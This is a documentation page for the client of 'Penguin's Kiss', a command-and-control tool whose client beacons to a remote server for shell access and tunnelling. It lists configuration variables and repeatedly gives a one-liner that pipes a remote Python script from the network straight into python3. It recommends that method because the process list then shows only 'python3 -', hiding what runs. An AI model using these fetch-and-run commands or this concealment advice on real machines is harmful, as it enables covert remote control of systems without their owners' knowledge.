summaryrefslogtreecommitdiff
path: root/docs/client.html
blob: 8d2f6171e60c9e6eec5ff0889a9c9d9ff2eb411d (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <meta name="author" content="Carson Fleming" />
        <meta name="description" content="Harness encrypted client-server communication, asynchronous command distribution, terminal emulation, and support for unlimited clients and controllers with Penguin's Kiss, the ultimate tool to manage remotely controlled devices with security and convenience." />
        <link rel="icon" type="image/x-icon" href="/favicon.ico" />
        <link rel="stylesheet" type="text/css" href="/css/control.css" />
        <title>Client Configuration | Docs | Penguin&apos;s Kiss</title>
        <link rel="canonical" href="https://c2.pkctl.org/client" />
    </head>
    <body>
        <header id="banner">
            <a id="banner-logo" href="/">
                <img id="logo-img" src="/img/banner.webp" alt="Penguin&apos;s Kiss Banner" />
            </a>
            <div id="banner-buttons">
                <a class="button" href="https://github.com/cflems/pk">GitHub</a>
                <a class="button" href="https://github.com/cflems/pk/releases">Download</a>
            </div>
        </header>
        <div id="page">
            <nav id="navigation">
                <h3 class="nav-heading"><a href="/">About PK</a></h3>
                <ul class="nav-section">
                    <li><a href="/#download">Downloading</a></li>
                    <li><a href="/#build">Building</a></li>
                    <li><a href="/#precompiled">Precompiled</a></li>
                </ul>
                <h3 class="nav-heading"><a href="/client">Client Config</a></h3>
                <ul class="nav-section">
                    <li><a href="/client#tts">Time to Sleep</a></li>
                    <li><a href="/client#bits">RSA Bits</a></li>
                </ul>
                <h3 class="nav-heading"><a href="/server">Server Config</a></h3>
                <ul class="nav-section">
                    <li><a href="/server#install">Installing</a></li>
                    <li><a href="/server#pkctl">PKCTL Usage</a></li>
                    <li><a href="/server#keygen">Host Key Generation</a></li>
                    <li><a href="/server#users">Local Users</a></li>
                </ul>
                <h3 class="nav-heading"><a href="/hdb">Hosts Database</a></h3>
                <ul class="nav-section">
                    <li><a href="/hdb#format">Format</a></li>
                    <li><a href="/hdb#keys">Keys Section</a></li>
                    <!-- Routes here soon. :) -->
                </ul>
                <h3 class="nav-heading"><a href="/commands">Command Reference</a></h3>
                <ul class="nav-section">
                    <li><a href="/commands#beacon">beacon</a></li>
                    <li><a href="/commands#delbeacon">delbeacon</a></li>
                    <li><a href="/commands#nbeacons">nbeacons</a></li>
                    <li><a href="/commands#lbeacons">lbeacons</a></li>
                    <li><a href="/commands#nscreen">nscreen</a></li>
                    <li><a href="/commands#ncli">ncli</a></li>
                    <li><a href="/commands#lcli">lcli</a></li>
                    <li><a href="/commands#lq">lq</a></li>
                    <li><a href="/commands#cq">cq</a></li>
                    <li><a href="/commands#show-serverkey">show-serverkey</a></li>
                    <li><a href="/commands#pty">pty</a></li>
                    <li><a href="/commands#refresh-hdb">refresh-hdb</a></li>
                    <li><a href="/commands#tunnel">tunnel</a></li>
                    <li><a href="/commands#die">die</a></li>
                    <li><a href="/commands#shell">Shell Commands</a></li>
                    <li><a href="/commands#target">Targeting</a></li>
                </ul>
            </nav>
            <div id="content">
                <p>As you may have noticed reading the precompiled scripts section, the client binary
                    allows configuration options to be passed in a number of ways. The first thing it
                    will look for, for any given option, is a specifically-named environment variable,
                    as this will not be visible in the process name. Failing this, the client will try
                    less subtle approaches, looking for positional command-line arguments, prompting
                    the standard input, and finally falling back to a preset default value (which you
                    may find it useful to alter the script in order to tweak if you don&apos;t want to
                    pass anything in through the alternative methods.) Generally your run command will
                    look something like:</p>
                <pre>curl -s https://dl.pkctl.org/pk.py | OPT1=val1 OPT2=val2... python3 -</pre>
                <p>This has the distinct advantage as only showing up as <code>python3 -</code> in the
                    process list, which leaves precious little to identify what it is actually doing.
                    For this reason, environment variable input is highly recommended.</p>
                <section id="hdb">
                    <h3>HDB URL</h3>
                    <p>Unless your server is using the default server key (not recommended), you will
                        need to specify a URL from which the server&apos;s public RSA key can be
                        fetched. The format of this file can be found in the
                        <a href="/hdb">Hosts Database</a>
                        section of the documentation.</p>
                    <p>Environment Variable Name: <code>HDB</code></p>
                    <p>Command-Line Argument Order: first</p>
                    <p>Default Value: <code>https://war.cflems.net/hosts.json</code></p>
                    <p>Usage:</p>
                    <pre>curl -s https://dl.pkctl.org/pk.py | HDB=https://dl.pkctl.org/b8ca2180.json python3 -</pre>
                </section>
                <section id="host">
                    <h3>TCP Host</h3>
                    <p>This is the TCP host to which your client will attempt to connect at a specified
                        interval. You will most invariably want to specify or recode this parameter.
                        Port number is optional and specified with a colon in the hostname.</p>
                    <p>Environment Variable Name: <code>HOST</code></p>
                    <p>Command-Line Argument Order: second</p>
                    <p>Default Value: <code>sek.cflems.net:2236</code></p>
                    <p>Usage:</p>
                    <pre>curl -s https://dl.pkctl.org/pk.py | HOST=raw.pkctl.org python3 -</pre>
                </section>
                <section id="tts">
                    <h3>Time to Sleep</h3>
                    <p>This is the interval at which the client will wake up and attempt to establish
                        a connection to the remote server, if it does not succeed immediately. Unit is
                        seconds.</p>
                    <p>Environment Variable Name: <code>TTS</code></p>
                    <p>Command-Line Argument Order: third</p>
                    <p>Default Value: <code>1800</code> (30 minutes)</p>
                    <p>Usage:</p>
                    <pre>curl -s https://dl.pkctl.org/pk.py | TTS=86400 python3 -</pre>
                </section>
                <section id="bits">
                    <h3>RSA Bits</h3>
                    <p>Can be used to turn down the bits used for RSA keys and messages for faster
                        operation at the expense of security. Needs to be synced between the client
                        and server. I recommend leaving this value alone.</p>
                    <p>Environment Variable Name: <code>BITS</code></p>
                    <p>Command-Line Argument Order: fourth</p>
                    <p>Default Value: <code>4096</code></p>
                    <p>Usage:</p>
                    <pre>curl -s https://dl.pkctl.org/pk.py | BITS=2048 python3 -</pre>
                </section>
            </div>
        </div>
    </body>
</html>